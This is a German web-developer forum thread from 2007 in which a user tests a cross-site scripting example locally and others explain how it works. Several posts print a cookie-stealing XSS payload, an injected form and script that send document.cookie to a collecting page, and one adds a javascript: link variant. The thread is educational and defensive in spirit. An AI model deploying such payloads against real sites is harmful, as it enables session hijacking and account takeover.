[JavaScript] Cross-Site Scripting

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • [JavaScript] Cross-Site Scripting

    Hallo,

    Also ich habe vorhin ein paar ältere Artikel über Cross-Site Scripting gelesen, weil ich darüber in einem Buch gelesen habe.

    Jetzt hab ich folgenden Artikel von tecchannel gelesen

    http://www.tecchannel.de/server/sich...51/index6.html

    Dort wird ein Beispiel gezeigt, die wollte ich dann mal LOKAL auf meiner Maschine testen.

    PHP-Code:

    <a href=xss.php?testing=
    <
    FORM action=data.php method=post name="idForm">
    <
    INPUT name="cookie" type="hidden">
    </
    FORM>
    <
    SCRIPT>
    document.idForm.cookie.value=document.cookie;
    document.idForm.submit();
    </
    SCRIPT> >
    Hier klicken
    </a
    Beim Aufruf der Seite werde ich ja sowieso sofort zu data.php weitergeleitet. Ich verstehe nicht den Sinn des Beispiel wenn es keine Linktarnung gibt?

    Gruss Sebastian

  • #2
    hm ... wie meinst du denn mit sofort weiterleiten? zuerst muss ja der Link erscheinen, erst nach klicken auf "Hier klicken" wirst du zu data.php geführt

    Kommentar


    • #3
      Ne das ist es ja... wenn ich die Seite aufrufe komme ich sofort zu data.php


      PHP-Code:

      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
      >
      <
      html xmlns="http://www.w3.org/1999/xhtml">
      <
      head>
      <
      meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
      <
      title>Unbenanntes Dokument</title>
      </
      head>

      <
      body>

      <
      a href=xss.php?testing=
      <
      FORM action=data.php method=post name="idForm">
      <
      INPUT name="cookie" type="hidden">
      </
      FORM>
      <
      SCRIPT>
      document.idForm.cookie.value=document.cookie;
      document.idForm.submit();
      </
      SCRIPT> >
      Hier klicken
      </a>



      </
      body>
      </
      html

      Gruss Sebastian
      Zuletzt geändert von Sebastian.J; 07.01.2007, 15:51.

      Kommentar


      • #4
        irgendwas stimmt nicht mit deinem PC, bei mir erhalte ich wie gesagt erstmal den Link zum Klicken

        Kommentar


        • #5
          im IE 6 gehts bei mir mit klicken... komisch

          Kommentar


          • #6
            Re: [JavaScript] Cross-Site Scripting

            Das ergibt eigentlich dann erst einen Sinn, wenn in xss.php der Inhalt des Parameters testing ohne weitere Maskierung ausgegeben wird - dann schreibt's das Formular in die Seite, welches sich selber abschickt.
            I don't believe in rebirth. Actually, I never did in my whole lives.

            Kommentar


            • #7
              du muss lernen \" in attributen einzusetzen.
              Ich verstehe nicht ganz was du da eigentlich testest?

              eine cookie-basierende session kann auch mit ajax geklaut werden, und zwar so, dass du gar nichts klicken muss.

              Ich habe dein script nicht getestet, aber die logik ist so aufgebaut, dass du eigentlich gar nichts drucken muss und der formular wird einfach von javascript gesendet und braucht nicht, das du etwas druckst.

              wenn du es durch onclick machen willst, dann muss du auch die teil:
              document.idForm.submit();
              durch ein event auslösen.
              z.b.s
              <a href="javascript:document.idForm.submit();">blja blja</a>
              Slava
              bituniverse.com

              Kommentar


              • #8
                Original geschrieben von Slava
                du muss lernen \" in attributen einzusetzen.
                Ich verstehe nicht ganz was du da eigentlich testest?

                eine cookie-basierende session kann auch mit ajax geklaut werden, und zwar so, dass du gar nichts klicken muss.

                Ich habe dein script nicht getestet, aber die logik ist so aufgebaut, dass du eigentlich gar nichts drucken muss und der formular wird einfach von javascript gesendet und braucht nicht, das du etwas druckst.

                wenn du es durch onclick machen willst, dann muss du auch die teil:
                document.idForm.submit();
                durch ein event auslösen.
                z.b.s
                <a href="javascript:document.idForm.submit();">blja blja</a>
                Meine xss2.php gibt die $_GET['testing'] einfach nur aus ohne irgendwelche Befehle...

                In meiner xss.php wird $_POST['cookie'] in eine txt geschrieben, dann kann ich den Cookie sehen.

                So hab ich das mit dem XSS verstanden. Cookie klauen die von der Domain gesetzt worden sind.

                Wie wird das ganze mit Ajax gemacht? (was ajax ist und wie es funktionniert ist mir klar)..

                Gruss Sebastian

                Kommentar


                • #9
                  1)session_id wird in keks geschrieben.
                  (auch wenn sie an url angehängt ist sie für ein javascript erreichbar)
                  2)wenn die Seite nicht genug gesichert ist, und fremde Javascript auf irgendeine weise in die seite kommt, dann kann dieser javascript die cokie-Inhalt (einschlisslich session_id) in hintergrund an eine andere domane senden (oder auch brutal wie in deinem beispiel).
                  Ein automatische script gibt sich als ein browser aus und identifiziert sich mit deinem session_id.
                  und das bedeutet, dass die PHP-anwendung bei einer nicht ausreichender kontrolle kann dich nicht mehr von dem Angreifer unterscheiden und wird dem Angreifer alles erlauben, was auch dir erlaubt ist.

                  z.b.s
                  könnte ich bei klauen von deiner session_id in diesem forum ein paar beiträge machen, dass den Moderatoren nichts übrig blieb, als dein Ascount bei diesem forum zu vernichten.

                  <<Wie wird das ganze mit Ajax gemacht?>>
                  will ich in keinem fall zeigen.
                  Für dich ist nur relevant, dass wir um jeden preis fremde JS nicht in unsere Seite lassen dürfen.
                  Zuletzt geändert von Slava; 07.01.2007, 22:23.
                  Slava
                  bituniverse.com

                  Kommentar


                  • #10
                    Original geschrieben von Sebastian.J
                    So hab ich das mit dem XSS verstanden. Cookie klauen die von der Domain gesetzt worden sind.
                    Was soll XSS im speziellen mit Cookies zu tun haben?

                    http://de.wikipedia.org/wiki/XSS
                    I don't believe in rebirth. Actually, I never did in my whole lives.

                    Kommentar


                    • #11
                      @Slava
                      thx

                      Original geschrieben von wahsaga
                      Was soll XSS im speziellen mit Cookies zu tun haben?

                      http://de.wikipedia.org/wiki/XSS
                      Das Cookie klauen ist ja mit XSS realisierbar, dass meinte ich... Das die Bezeichnung nicht für "Cookie klauen" steht weiss ich schon.

                      Gruss Sebastian

                      Kommentar

                      Lädt...
                      X